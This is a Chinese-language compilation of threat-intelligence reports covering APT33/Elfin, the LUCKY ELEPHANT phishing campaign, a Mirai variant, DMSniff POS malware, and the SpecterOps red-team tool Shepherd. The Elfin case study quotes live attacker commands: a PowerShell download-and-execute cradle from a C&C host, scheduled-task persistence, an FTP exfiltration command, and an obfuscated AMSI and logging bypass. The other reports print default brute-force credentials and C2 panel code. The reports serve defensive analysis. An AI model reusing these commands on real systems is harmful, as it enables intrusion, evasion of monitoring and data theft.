Elfin间谍组织(又称APT33)在过去三年中一直高度活跃,攻击沙特阿拉伯、美国和其他一些国家的至少50个机构。

该组织于2015年底左右首次开展活动,专门扫描易受攻击的网站用于识别潜在目标,借此开展攻击或创建命令和控制(C&C)基础设施。它已经入侵了大量的目标,包括政府以及科研,化学,工程,制造,咨询,金融,电信和其他多个行业的机构。

图1.按国家划分的Elfin攻击[2016-2019]

一、诸多美国目标

Elfin继续大力关注沙特阿拉伯,其占赛门铁克自2016年初以来统计的攻击事件的42%。然而,美国也是该组织的一个重要目标,过去三年中有18个机构受到攻击。多年来,包括多家财富500强企业。

Elfin在美国的目标包括工程,化学,研究,能源咨询,金融,IT和医疗保健领域的机构。

图2. 按行业划分的Elfin攻击[2016-2019]

为了加大供应链攻击,其中一些美国机构也成为了Elfin的目标。在一个例子中,一家大型美国公司在同一个月遭到攻击,而其中东公司也受到了入侵。

图3. 按月划分的Elfin攻击[2016-2019]

二、漏洞利用

在2019年2月的攻击浪潮中,Elfin试图利用WinRAR中的一个已知漏洞(CVE-2018-20250)。WinRAR是一种广泛使用的文件归档和压缩的实用程序,能够创建自解压归档文件。该漏洞利用的目标是一家沙特阿拉伯化工企业。如果在未打补丁的计算机上成功利用此漏洞,则该漏洞允许攻击者在计算机上安装任何文件,从而允许在目标计算机上执行代码。

目标机构中的两个用户收到一个名为“JobDetails.rar”的文件,该文件试图利用WinRAR漏洞。此文件可能是通过鱼叉式网络钓鱼邮件发送的。但是,在此次尝试攻击之前,赛门铁克已采取主动防护,以防止任何利用此漏洞的企图(Exp.CVE-2018-20250)。该防护成功的保护了目标机构免受攻击。

三、与Shamoon关联

Elfin于2018年12月成为人们关注的焦点,当时它与新一轮的Shamoon袭击有关。沙特阿拉伯的一名Shamoon受害者最近也遭到了Elfin的攻击,并且感染了Elfin使用的Stonedrill恶意软件(Trojan.Stonedrill)。因为Elfin和Shamoon对该机构的攻击发生得如此紧密,所以有人猜测这两个组织可能有关联。但是,赛门铁克没有发现有进一步的证据表明Elfin与这些Shamoon攻击有关。我们会继续密切监察两个组织的活动。

四、Elfin的工具集

Elfin在其攻击中部署了各种工具,包括自定义恶意软件、商品恶意软件和开源黑客工具。

该组织使用的自定义恶意软件包括:

· Notestuk(Backdoor.Notestuk)(又名TURNEDUP):可用于开启后门并从受感染计算机收集信息的恶意软件。

· Stonedrill(Trojan.Stonedrill):自定义恶意软件能够在受感染的计算机上开启后门并下载其他文件。该恶意软件还具有破坏性组件,可以擦除受感染计算机的主引导记录。

· AutoIt后门:使用AutoIt脚本语言编写的自定义后门。

除了自定义恶意软件外,Elfin还使用了许多商品恶意软件工具,可以在地下网络购买。包括:

· Remcos(Backdoor.Remvio):一种商品远程管理工具(RAT),可用于窃取受感染计算机的信息。

· DarkComet(Backdoor.Breut):另一种商品RAT,用于在受感染的计算机上开启后门并窃取信息。

· Quasar RAT(Trojan.Quasar):商品RAT,可用于窃取密码并在受感染的计算机上执行命令。

· Pupy RAT(Backdoor.Patpoopy):可以在受感染的计算机上打开后门的商品RAT。

· NanoCore(Trojan.Nancratt):商品RAT用于在受感染的计算机上开启后门并窃取信息。

· NetWeird(Trojan.Netweird.B):一种可以开启后门并从受感染计算机中窃取信息的商品木马。它还能下载其他潜在的恶意文件。

Elfin还经常使用一些公开的黑客工具,包括:

· LaZagne(SecurityRisk.LaZagne):一种登录/密码获取工具。

· Mimikatz(Hacktool.Mimikatz):旨在窃取凭证的工具。

· Gpppassword:用于获取和解密组策略首选项(GPP)密码的工具。

· SniffPass(SniffPass):旨在通过嗅探网络流量来窃取密码的工具。

五、案例研究:Elfin攻击是如何展开的

在本节中,我们将详细描述Elfin对美国机构的攻击。在2018年2月12日16:45(所有时间都为该机构的当地时间),向该机构发送了一封电子邮件,宣称一家美国全球服务提供商的职位空缺。该电子邮件包含恶意链接hxxp://mynetwork.ddns[DOT].net:880。

收件人单击该链接将继续下载并打开恶意HTML可执行文件,该文件又通过嵌入式iframe从C&C服务器加载内容。同时,此文件中嵌入的代码还执行了PowerShell命令,以便从C&C服务器下载并执行chfeeds.vbe的副本。

[System.Net.ServicePointManager]::ServerCertificateValidationCallback={$true};IEX(New-Object Net.WebClient).DownloadString('hxxps://217.147.168[DOT]46:8088/index.jpg');

还执行了第二个JavaScript命令,它创建了一个计划任务,每天多次执行chfeeds.vbe。

a.run('%windir%\\System32\\cmd.exe /c PowerShell -window hidden schtasks.exe /CREATE /SC DAILY /TN "1" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 01:00 /f && schtasks.exe /CREATE /SC DAILY /TN "3" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 03:00 /f && schtasks.exe /CREATE /SC DAILY /TN "5" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 05:00 /f && schtasks.exe /CREATE /SC DAILY /TN "7" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 07:00 /f && schtasks.exe /CREATE /SC DAILY /TN "9" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 09:00 /f && schtasks.exe /CREATE /SC DAILY /TN "11" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 11:00 /f && schtasks.exe /CREATE /SC DAILY /TN "13" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 13:00 /f && schtasks.exe /CREATE /SC DAILY /TN "15" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 15:00 /f && schtasks.exe /CREATE /SC DAILY /TN "17" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 17:00 /f && schtasks.exe /CREATE /SC DAILY /TN "19" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 19:00 /f && schtasks.exe /CREATE /SC DAILY /TN "21" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 21:00 /f && schtasks.exe /CREATE /SC DAILY /TN "23" /TR "C:\\Users\\%username%\\AppData\\Local\\Microsoft\\Feeds\\chfeeds.vbe" /ST 23:00 /f ')

chfeeds.vbe文件充当下载程序,用于下载第二个PowerShell脚本(registry.ps1)。该脚本依次从C&C服务器(hxxps:// host-manager.hopto.org)下载并执行名为POSHC2的PowerShell后门,这是一个代理感知的C&C框架。后来在20:57,攻击者在受感染的计算机上变得活跃,然后继续下载WinRAR。

89.34.237.118   808   hxxp://89.34.237[DOT]118:808/Rar32.exe

在23:29,攻击者随后开始部署他们的POSHC2 stager的更新版本。

192.119.15.35   880   hxxp://mynetwork.ddns[DOT]net:880/st-36-p4578.ps1

该工具在2月12日23:29和2月13日07:47之间多次下载。

两天后,即2月14日15:12,攻击者返回并将Quasar RAT安装到与C&C服务器(217.147.168.123)通信的受感染计算机上。Quasar RAT安装到

CSIDL_PROFILE\appdata\roaming\microsoft\crypto\smss.exe.。

此时,攻击者在保持访问网络的同时停止活动,直到2月21日。在06:38,观察到攻击者将自定义.NET FTP工具下载到受感染的计算机。

192.119.15.36   880   hxxp://192.119.15[DOT]36:880/ftp.exe

后来在6:56,攻击者使用此FTP工具将数据传输到远程主机:

JsuObf.exe Nup#Tntcommand -s CSIDL_PROFILE\appdata\roaming\adobe\rar -a ftp://89.34.237.118:2020 -f /[REDACTED] -u [REDACTED] -p [REDACTED]

活动停止,直到攻击者在3月5日返回,使用Quasar RAT从hxxp://192.119.15 [DOT] 36:880 / ftp.exe下载第二个自定义AutoIt FTP工具,称为FastUploader。然后将此工具安装到hxxp://192.119.15[DOT]36:880/ftp.exe。FastUploader是一种自定义FTP工具,旨在以比传统FTP客户端更快的速度传输数据。

此时,攻击者的其他活动在3月5日到4月之间继续,4月18日11:50,第二个远程访问工具DarkComet被部署到受感染计算机上的csidl_profile\appdata\roaming\microsoft\windows\start menu\programs\startup\smss.exe。15秒后,安装凭证转储到csidl_profile\appdata\roaming\microsoft\credentials\dwm32.exe,通过免费的PowerShell Empire执行PowerShell命令来绕过受感染机器上的日志记录。

$GPF=[Ref].AsSeMBLy.GeTTYPe('System.Management.Automation.Utils')."GEtFiE`LD"('cachedGroupPolicySettings','N'+'onPublic,Static');If($GPF){$GPC=$GPF.GeTVALUE($NUlL);If($GPC['ScriptB'+'lockLogging']){$GPC['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging']=0;$GPC['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging']=0}$vAL=[COlLecTIons.GEneRic.DIctIoNARy[stRiNG,SyStEM.Object]]::nEw();$VAL.ADD('EnableScriptB'+'lockLogging',0);$VaL.Add
('EnableScriptBlockInvocationLogging',0);$GPC
['HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB'+'lockLogging']=$VaL}ELSe{[SCRIPTBLOck]."GEtFiE`Ld"('signatures','N'+'onPublic,Static').SETVAlue($NuLL,(New-ObjeCt ColLectiONs.GeNERic.HASHSEt[StrInG]))}[REF].AssemBLy.GetTyPE('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GEtFielD('amsiInitFailed','NonPublic,Static').SETValUe($nUll,$TrUE)};

攻击活动在整个4月继续进行,其中部署了其他版本的DarkComet,POSHC2植入程序和AutoIt后门,以及进一步的凭证转储。

六、活跃的攻击者

Elfin是目前在中东地区最活跃的恶意组织之一,针对不同行业的众多机构。在过去的三年中,该组织利用各种工具对付受害者,从定制的恶意软件到现成的RAT,表明其不断修改其策略,寻找下一步攻击的工具。

七、保护/缓解

赛门铁克提供以下保护措施,以保护客户免受这些攻击:

基于文件的保护

· Backdoor.Notestuk

· Trojan.Stonedrill

· Backdoor.Remvio

· Backdoor.Breut

· Trojan.Quasar

· Backdoor.Patpoopy

· Trojan.Nancrat

· Trojan.Netweird.B

· Exp.CVE-2018-20250

· SecurityRisk.LaZagne

· Hacktool.Mimikatz

· SniffPass

1.png

1.png

NETSCOUT威胁情报团队的安全专家发现了一项凭据收集活动LUCKY ELEPHANT,主要针对南亚政府。

该活动于2019年3月初被发现,LUCKY ELEPHANT背后的威胁行为者使用doppelganger 网页来模仿外国政府,电信和军队等合法机构。

lucky-elephant-campaign.png

这些攻击至少从2019年2月开始,黑客试图欺骗受害者提供登录凭据。攻击者使用各种顶级域名(TLD)注册了doppelgangers,特别是那些保护注册人匿名的域名。

根据专家的说法,威胁行为者开展了网络钓鱼行动,吸引受害者访问网站并提供凭据。在撰写本文时,研究人员未发现任何与LUCKY ELEPHANT活动相关的恶意软件。

被黑客模仿的机构名单包括巴基斯坦,孟加拉,斯里兰卡,马尔代夫,缅甸和尼泊尔的实体。

根据ASERT的分析,LUCKY ELEPHANT由印度APT小组发起。

这些目标是已知的印度APT行动的典型目标,而基础设施以前是由印度APT组织使用的。网络钓鱼和证件盗窃活动在印度针对区域内比较常见。

其中一个IP地址,128.127.105 [.] 13,之前被DoNot Team(又名APT-C-35)使用,这是一个印度APT组织。除了其他邻国外,DoNot团队还有大量针对巴基斯坦的历史行动。

专家们发现了两个活动的IP地址(128.127.105 [.] 13和179.43.169 [.] 20)参与了攻击,通过监测,研究人员发现了威胁行为者使用的新的doppelganger域名。

专家发表的主要调查结果如下:

· ASERT发现了LUCKY ELEPHANT的凭据盗窃活动,攻击者伪装成合法实体,如外国政府,电信和军队。

· doppelganger网页的主要目的是收集登录凭据;我们没有观察到与攻击活动相关的恶意软件有效载荷。

· LUCKY ELEPHANT活动中使用的一个IP地址以前被印度APT DoNot团队使用。

ASERT总结道,

LUCKY ELEPHANT背后的攻击者使用与合法网站几乎相同的分身网页的有效性,诱使用户输入凭据。目前还不清楚这个攻击行动在收集凭据时的效果和广泛程度,以及如何使用收集到的凭据。

然而,显而易见的是,攻击者正在积极建立基础设施,并且正在针对南亚的政府。

简介

2019年1月初,Unit 42发现了臭名昭著的IoT / Linux僵尸网络Mirai的一个新版本。

Mirai最出名的是在2016年,用于大规模、前所未有的DDoS攻击。一些最著名的目标包括:网络托管服务提供商OVH,DNS提供商Dyn和Brian Krebs的网站。

Unit 42发现的这一新变种值得注意的是它针对不同的嵌入式设备,如路由器、网络存储设备、NVR和IP摄像机,并使用大量漏洞攻击它们。

特别是,Unit 42发现了该变种针对WePresent WiPG-1000无线演示系统和LG Supersign电视。这两种设备都适用于企业。这一发展向我们表明了将Mirai用于企业目标的潜在转变。之前我们观察僵尸网络定位企业漏洞的实例是针对Apache Struts和SonicWall的漏洞利用。

除了这个更新的定位,这个新版本的Mirai还包括其多漏洞库中的新漏洞,以及用于对设备进行暴力破解攻击的新凭据。

最后,恶意有效载荷托管在哥伦比亚的一个受感染网站:主营“电子安全,集成和警报监控”业务。

这些新功能为僵尸网络提供了大型攻击面。特别是,定位企业链接还允许它访问更大的带宽,最终导致僵尸网络为DDoS攻击提供更大火力。

这些发展变化强调了企业了解网络上的物联网设备、更改默认密码、确保设备及时打补丁的重要性。对于无法修补的设备,要从网络中删除这些设备。

漏洞利用

这个最新的样本共包含27个漏洞,其中有11个是新漏洞。

我们观察到的漏洞的完整列表列在附录中。表1列出了在该样本之前未在野外观察到的攻击,表2列出了该变体中包括的仅在最近野外观察到的其他攻击,但在此之前的变体中被并入。

其它特征

除了包含不寻常的漏洞之外,这个新版本还具有其他一些不同的功能:

· 它使用与Mirai特征相同的加密方案,密钥为0xbeafdead。

· 使用此密钥解密字符串,发现了一些我们迄今未遇到的暴力破解的异常默认凭据:

· admin:huigu309

· root:huigu309

· CRAFTSPERSON:ALC#FGU

· root:videoflow

· 它使用域名epicrustserver [.] cf监听端口3933用于C2通信。

· 除了扫描其他易受攻击的设备外,还可以命令新版本发送HTTP Flood DDos攻击。

基础设施

具有讽刺意味的是,此变体中漏洞利用获取的shell脚本有效载荷(在撰写本文时仍处于活动状态)托管在受感染的网站上,该网站属于哥伦比亚的一个“电子安全,集成和警报监控”公司。

图1漏洞获取的Shell脚本有效载荷

此外,shell脚本下载的二进制文件以“clean.[arch]”格式命名(例如clean.x86,clean.mips等),但它们不再托管在网站上。

对有效载荷源进行追踪,发现一些样本从185[.]248.140.102/bins/获取相同的有效载荷。在升级到这个新的多漏洞利用版本的前几天,相同的IP使用名称格式“eeppinen.[arch]”托管了一些Gafgyt样本。

总结

物联网/ Linux僵尸网络继续扩大其攻击面,要么通过针对过多设备的多个漏洞利用攻击,要么通过添加默认凭据列表,或者两者兼而有之。此外,针对企业漏洞他们可以访问带宽比消费者设备更大的链接,从而为DDoS攻击提供更大的火力。

Palo Alto Networks的客户受到以下保护:

· WildFire检测具有恶意判决的所有相关样本。

·  通过威胁防护和PANDB阻止这些活动中涉及的所有漏洞利用和IP / URL。

AutoFocus客户可以使用各个漏洞标记跟踪这些行为:

· CVE-2018-17173

· WePresentCmdInjection

· DLinkRCE

· ZyxelP660HN_RCE

· CVE-2016-1555

· NetgearDGN2200_RCE

· NetgearProsafeRCE

· NetgearReadyNAS_RCE

· LinksysWAP54Gv3_RCE

· CVE-2013-3568

· ZTEH108L_RCE

附录参见原文

之前仅私下销售的销售点恶意软件已被用于攻击中小型餐饮和娱乐行业。此恶意软件称为DMSniff,它还使用域名生成算法(DGA)来动态创建命令和控制域列表。该技术对攻击者很有价值,因为如果域名被执法部门,技术公司或托管服务提供商屏蔽,恶意软件仍然可以通信和接收命令或共享被盗数据。

Flashpoint的研究人员认为,在POS恶意软件领域很少见到使用DGA。

POS软件继续困扰着食品服务和酒店等行业,其中老旧和不受支持的系统仍然普遍存在,特别是在中小型公司中。在这些以卡片交易为主的环境中,犯罪分子一直在瞄准这些易受攻击的设备。去年Verizon Data Breach调查报告中的数据显示,销售点终端是数据库服务器背后受攻击次数最多的第二大网络资产。

大多数情况下,恶意软件会在信用卡数据加密并发送到支付处理器之前,窃取信用卡Track 1和Track 2信息。攻击者可能在物理上篡改POS设备以安装恶意软件,或者可以通过网络利用漏洞来感染设备。

DMSniff已经隐蔽运行了至少四年,并至少从2016年开始被积极使用。Flashpoint分析人员认为使用DMSniff的攻击者通过暴力攻击SSH或扫描并利用漏洞来获得设备的初步立足点。

下面,我们分享有关恶意软件和相应控制面板代码的一些细节。此外,我们还分享了一些缓解措施和IoCs。

一、深入DMSniff

DMSniff使用多种技术来保护自己及其命令与控制(C2)通信。 第一种技术是下面的简单字符串编码,旨在隐藏其字符串。 这可以增强恶意软件的检测能力,使研究人员难以了解其功能。

图1:DMSniff使用的字符串编码

基于Python的伪代码实现如下:

图2:基于Python伪代码的字符串编码。

使用它,Flashpoint解码了选择字符串,可以在下面下载。此恶意软件使用的另一种技术是DGA,它可以抵御下线并绕过琐碎的阻塞机制。

图3:恶意软件的初始DGA。

DGA基于诸多硬编码值; 在研究人员发现的样本中,生成的域名的前两个字符在bot中是硬编码的。到目前为止,研究人员已经发现了这种DGA的11种变形,它们都采用相同的算法,但使用了可变的前两个字母和硬编码的乘子。

图4:域名生成算法的伪代码

bot循环生成的域名并同时轮换顶级域名(TLD)列表 – 例如.in,.ru,.net,.org,.com-直到找到可以与之通信的服务器。然后,bot创建hostid数据并在user-agent内部发送。

图5:恶意软件签到示例

值得注意的是虚假响应,它伪装成一个错误。 响应中还有一些数据被注释为“vqns”; 这由bot验证,以确定它是否是真正的C2域。

图6:用于解析注释块的恶意软件代码

对于POS的数据盗窃部分,bot程序很简单,因为它附带了一个要规避的进程名的列表; 它在循环遍历进程树时使用此列表。 每当它找到一个有趣的进程时,它将遍历内存尝试查找信用卡号。 一旦找到,bot将获取卡数据和一些周围的内存,打包,并将其发送到C2。

图7:编辑的DMSniff面板

被盗数据在下载或审查后,将从面板中删除,这意味着被盗数据将被泄露到其他地方,以便存储或出售。

以下是负责在发送后删除面板中报告的PHP代码:

//- del all sent
 $das = $_GET[‘das’];
 if (!empty($das))
 {
  $dh = opendir($dirn);
  if (!$dh) { echo “cant open dir”; die(); }
  while (($file = readdir($dh)) !== false)
  { 
   if ($file[0] != ‘d’) continue;
   if ($file[1] != ‘_’) continue;
   if (!strpos($file,”.SENTOK”)) continue;
   if (defined(“MARKER”))
   {
    $exp=explode(‘_’,$file);
    if ($exp[1] != MARKER) continue;
   }
   unlink($file);
  }
 }

在面板中,添加了解锁报告所需的XOR值; 然后,控制面板将验证数据。 在撰写本文时,所有识别的面板和bot都使用相同的单字节XOR值“0xd”或“13”。

图8: DMSniff报告,用于检索面板中的被盗数据

被盗数据文件基于bot数据和标记值:

$filedst = DMPPATH.’/d_’.$mrk.’_’.$realip.’_’.mktime();

标记值的长度为0-2:

 $mrk    = $_GET[‘m’];
 if (strlen($mrk) > 2) die(); // hack protection

这是创建.upl文件,表示bot已上传数据的位置:

$fnm = my_base64_encode($exp[1]);
$f = fopen(INFOPATH.$fnm.’.upl’,”w”);
$data = mktime().’|’.$exp[1].’|’.$realip.’|’;
fputs($f,$data);
fclose($f);

如果上传成功,则返回 <!-OK-> :

 if ($filear[“error”][0] == 0) echo “<!-OK->”;

用于解析bot checkin的面板代码:

 $ua  = getenv(‘HTTP_USER_AGENT’);
 $pos = strpos($ua,’DSNF_’);

从中返回的数据是PID(进程标识符)的字符串编码,每个数字都加了“a”,硬编码的mul值类似于DGA并存储在假404页面的注释中。

 $tmp = substr($ua,$pos+5);
 $exp = explode(‘)’,$tmp);
 $pid = $exp[0];
 echo “<!-“.chr(97+ToRange($pid)).chr(97+ToRange(3*$pid)).chr(97+ToRange(5*$pid)).chr(97+ToRange(7*$pid)).”->”;

如果通过.prt文件设置了shell命令,则会添加另一条注释:

// shl cmd
  if (file_exists(INFOPATH.$fnm.’.prt’) )
  {
   $shl = file_get_contents(INFOPATH.$fnm.’.prt’);
   $exp = explode(‘|’,$shl);
   echo “<!-#”.$exp[0].”->”;
  }
 }

包括bot连接的 ip:port,下载和执行文件。机器人使用FTP来完成下载辅助文件的操作。

结论

DMSniff是不断增长的Pos恶意软件世界中的一个成员。 在研究中,我们发现这种恶意软件主要针对中小型企业,如餐馆和剧院。 它还包含域名生成算法,这在Pos恶意软件中很少见。

缓解措施

Flashpoint建议机构定期更新所有攻击面设备。 疑似感染途径是SSH暴力破解(低信度)和常见漏洞扫描程序(低信度)。对如下下文件的基于主机的检测也是有益的:

dmsnf.cfg

还需监视异常Windows进程的执行情况,例如:

Image=”*csrss.exe” AND (ParentImage!=”*system” OR ParentImage!=”*smss.exe”)
Image=”*lsass.exe” AND ParentImage!=”*wininit.exe”

与所有基于主机的指标一样,可能需要根据环境进行调整。

附件及下载

• 要下载DMSniff的IOC,单击此处.

• 要下载DMSniff的解码字符串, 单击此处.

本系列的第1部分(Part 1)介绍了红队用于管理域名的解决方案,主要讨论了数据收集方面,此外还介绍了DomainCheck工具。正如该文所述,SpecterOps团队继续研究和开发一个将DomainCheck的数据收集与团队管理功能相结合的解决方案。Shepherd就是第一个从这项工作中产生的产品。

Shepherd旨在供运营团队使用。它会跟踪域名和每个域名的当前DNS设置、分类、历史记录和状态。跟踪状态包括哪些域名:准备好使用,销毁/退役或正在使用,以及哪个团队成员签出了活动域名。

Shepherd是GhostManager系列的最新成员。参看这里:

GhostManager/Shepherd
A Django application to help red team operators manage a library of domain names – GhostManager/Shepherdgithub.com

一、形成合力Tending to the Flock

越是检查域管理解决方案需要什么,我们就意识到初始设计(第1部分中提到的)越不合适。一个简化域名检查、自动化签到和跟踪分类的解决方案将是一个良好的开端,但它只适用于小团队。如果有人对域名有疑问,可以轻松联系小团队确认信息。但这对于分布在多个时区的大型团队来说没有效果。

谁购买?

这是SpecterOps聊天中常见的问题。该团队为不同目的购买了许多域名,但这些目的并不总是很清楚。如果跟踪域名的历史记录,任何人都可以看到它的购买时间、购买原因、是否为特定项目购买以及如何使用。

销毁

项目跟踪导致了域的健康状态不是全局的。如果向安全团队报告了网络钓鱼链接,则该域很可能会在短时间内被列入黑名单,但该域还不只是一个域名。如果域名本身未向第三方报告,则该域名有生命的第二次机会。跟踪域的历史记录意味着任何人都可以看到他们不应该再为特定客户端使用该域,但不要认为它被“销毁”。

迷途羔羊

与上述情况一样,如果域名的分类更改为“可疑”或“网络钓鱼”,则无需深思熟虑即可收回该域名,Shepherd会自动执行此操作。但是,有些情况比较模糊,需要有人来打电话。我们决定为管理用户(即高级运营商)提供快速收回任何域名并将其从池中删除的能力。

运营商可能还希望出于其他原因从池中删除域,例如将其保留用于将来的项目或使域老化。新域名在池中默认为“可用”,因为它们未被使用或与项目绑定。我们确定“保留”状态对将来购买的域名有用。

二、管理

随着设计和目标图的勾勒显现,Shepherd的开发向前迈进了一步。为了方便测试,我们设计了这个新工具,以便可以在将来其他一些正在开发的GhostManager项目可以添加或扩展它。最终界面干净且易于使用。

Shepherd的主页和摘要信息

我们设计的Shepherd很简单。用户通过身份验证后,会向他们显示域目录的摘要,并可以查看所有团队的域或根据域的状态进行过滤。域目录跟踪所有域名及其各种状态和历史记录。还有一个备注字段可用于记录域名的购买原因,提供之前如何使用域名的详细信息,或者为何暂时保留或永久停用域名。

查看可用域及其状态

这也是团队成员可以签出域以用于项目的地方。签出域时,用户将看到第二个屏幕,询问有关跟踪该域名使用情况的详细信息。Shepherd跟踪谁正在检查域名、客户名称、项目类型(例如渗透测试,红队),域名将如何使用(例如网络钓鱼,C2),以及域名将被使用的日期范围。单击目录中的域名将向用户显示为该域记录的所有详细信息以及该域的历史记录。

目前,Shepherd会检查客户端名称是否已存在于数据库中。如果在数据库中找不到该名称,则会创建一个新条目。由于拼写错误以及不同名称可能用于同一组织的可能性,这并不理想,但为将来的更新奠定了基础,该更新将包括客户经理以及编辑客户端和查看与客户关联的项目和域的能力。

签出项目的域名

具有更高访问权限的用户(例如,高级操作员)可以将域标记为已退役/已销毁或不可用(即,保留状态)。这些用户可以暂时将域从池中拉出来让它们老化或将它们标记为已销毁,因此没有人可以检查它们以便于将来的评估。

查看单个域的详细信息和历史记录

最后,用户可以查看不可用域列表,以查看哪些已被销毁和删除,以及哪些域名处于观望状态。没有域从数据库中完全删除,由此维护了历史记录。

搜索栏也始终可用,可以按域名和类别进行搜索。

数据导出

可以从csv文件导入记录。Shepherd提供了一个模板,可以从该页面下载并进行编辑。只需要基本信息(例如域名,注册商,购买日期和到期日期),如果可以随时获取的话,也可以包括健康和类别信息。

使用csv文件一次性上传

此外,最新的DomainCheck输出一个准备导入Shepherd的csv。请先确保在2019年1月15日发布此帖子的日期之后更新DomainCheck。

自动更新

可以使用分类数据手动更新域记录。作为一个更好的选择,DomainCheck的功能已经融入Shepherd。Shepherd有一项任务可以更新目录的DNS和分类数据。 DNS更新可能需要一两分钟,但由于API限制,完整的运行状况检查可能需要一段时间(VirusTotal的免费API每60秒只允许四个请求,因此检查需要X分钟,其中X = TOTAL DOMAINS / 4 )。默认睡眠时间为20秒。

如果用户拥有付费的VirusTotal API密钥,则可以在Shepherd的设置中更改休眠时间。这将有助于加快检查速度,但减少太多检查并不可取,因为Shepherd将在一些网站上遇到一些reCAPTCHA。

更新将作为后台任务运行,并在更新域时审核每个域。

在Shepherd界面中监控域更新

此任务也可以安排在特定时间运行。然后,更新页面成为请求手动更新和查看上次更新状态的方式,无论是手动还是计划。

此外,SpecterOps团队正在研究条件任务执行。例如,可以在签出时为单个域安排定期类别检查。解除这些任务很简单,但其中一些(如类别更新)可能需要一段时间,而且只需偶尔触发它们。

Slack集成

与DomainCheck一样,Shepherd有一些Slack集成选项。如果启用了Slack消息并且在settings.py中填写了Slack配置,Shepherd将向指定的通道发送消息。发送消息以警告用户各种事件,例如域健康检查完成以及从“健康”翻转为“已销毁”的域。

我们也在考虑其他一些选择。 Shepherd可能最终支持通过Pushover等服务发送电子邮件和/或推送通知。

三、技术细节

我们开始想使用Python和Flask Web框架,但某些要求促使我们使用Django。对于像这样的项目,Django比Flask更具优势,比如内置的管理控制台,具有“开箱即用”的身份验证和帐户管理支持。此外,Django还支持几种类型的数据库,默认使用SQLite。Shepherd用户不太可能需要同时进行数据库编辑,因此Shepherd使用默认的SQLite数据库。

目录应用程序

为了使用Django的术语,Shepherd包含一个名为catalog的“应用程序”。这是跟踪域名及其相关内容的主要应用程序。用于目录的Django“模型”在可视化时看起来像这样。

Shepherd数据库模型和关系

这是一个简单的设计,允许编辑数据库和迁移。Django的makemigrations和migrate命令使数据库调整变得轻而易举。这些命令还应该帮助任何希望修改模型的用户添加新字段或更改Django管理控制台中数据的显示方式。

Web设计

Shepherd使用jQuery,jQuery UI,Bootstrap,JavaScript和Font Awesome进行一些网页设计,主要是菜单和日期选择器等小部件。它们在base_template.html文件中进行管理与加载。Django使用模板来呈现网页,可以轻松生成内容,例如域名表。

其余模板使用HTML和Jinja2构建。使用Jinja2,在一个文件中创建并维护基本模板。对于Shepherd,这是侧边栏菜单和导航栏所在的位置以及加载脚本和样式表的位置。

必须创建许多不同的表单来管理域目录。不是在HTML文件中创建单独的HTML表单,而是将表单传递给后端Python代码中的模板,并在使用Jinja2内容块加载网页时放置和呈现。

其他模板扩展了基本模板并使用了Shepherd的Django模型和表单,因此有些只是几行HTML和Jinja2代码,但显示了用于管理域的整个表单。可以根据需要自定义任何单个页面,也可以在一个位置管理需要应用于表单、模型或样式选择的所有实例的更改。

根据需要自定义Shepherd很简单。

App依赖库

Shepherd运行在Django之上。域状态更新需要一些额外的库:

· bs4

· cymon

· lxml

· pillow

· pytesseract

· requests

· django-q

· redis

主要的依赖是Django-Q及其自动消息队列协议(AQMP)“broker” Redis。需要AQMP,因为Shepherd必须运行一些不同的后台任务,包括发送Slack消息,在项目的结束日期自动释放域名,以及运行域状态更新。

释放域需要快速循环标记为正在使用的域并释放结束日期等于当前日期或更早的域。这需要一些时间来完成,并且可以作为Web请求按需运行,但我们希望这在每天午夜后自动进行。

另一方面,我们希望域更新是按需而非预定,但它们可能需要20分钟或更长时间才能完成。这对标准Web服务器请求不起作用,因此任务必须在后台运行。

请求域状态更新时,将任务交给代理进行处理。任务在后台排队并执行,因此最终用户无需等待20分钟即可获得服务器的响应。将域重新发布到池中的任务也会如此,除非它在预定时间发生,而不需要进行任何请求。

计划任务选项

我们简要地考虑使用一些更基本的替代方案,例如创建自定义管理任务和使用cron作业在预定时间通过Django的manage.py调用函数。这个选项本来可行,但它不那么优雅,选择有限,并难以进行监控。如果我们选择了这个选项,那就需要更高级的解决方案,所以现在最好这样做。事实证明,我们很快发现了Django Q的一些额外用途,如Slack消息队列和动态调度任务。避免使用cron作业是一个很好的选择,在以后的功能开发中得到了回报。

我们还研究了Celery,Huey和django-background-tasks。使用Redis或RabbitMQ的Celery仍然是许多项目使用的标准软件包,但是我们看不到将来对该级别的队列管理的需求。Shepherd需要执行的最复杂的工作是域健康检查,并且不经常执行,由于API限制而必须一次执行一个域并避免reCAPTCHA。如果我们可以为每个域启动任务,那么Celery将是管理100多个任务的绝佳选择。

django-background-tasks解决方案看起来很棒,但对于我们想要的产品来说太简单了。它基本上是一种以编程方式与crontab交互的好方法,并且(根据文档的建议)仍然使用cron作业来确保django-background-task队列管理器在任务失败时保持运行。这不是一件坏事,但与完整的cron作业解决方案一样有一些相同的缺点。

我们最终选择了Django-Q,因为它是Django原生的,集成到管理面板中以便于监控和故障排除,并且易于实现。它仍然需要broker,但设置broker很简单。 Django-Q默认使用Redis,Redis有一个Python库,它是一个非常简单的代理。所需要做的就是安装Redis(例如brew install redis),然后启动服务器。如果需要,Django-Q还支持更高级的选项,如RabbitMQ和Amazon SQS。总的来说,这是最好的选择。

Django Q集成到Shepherd管理面板中

四、总结

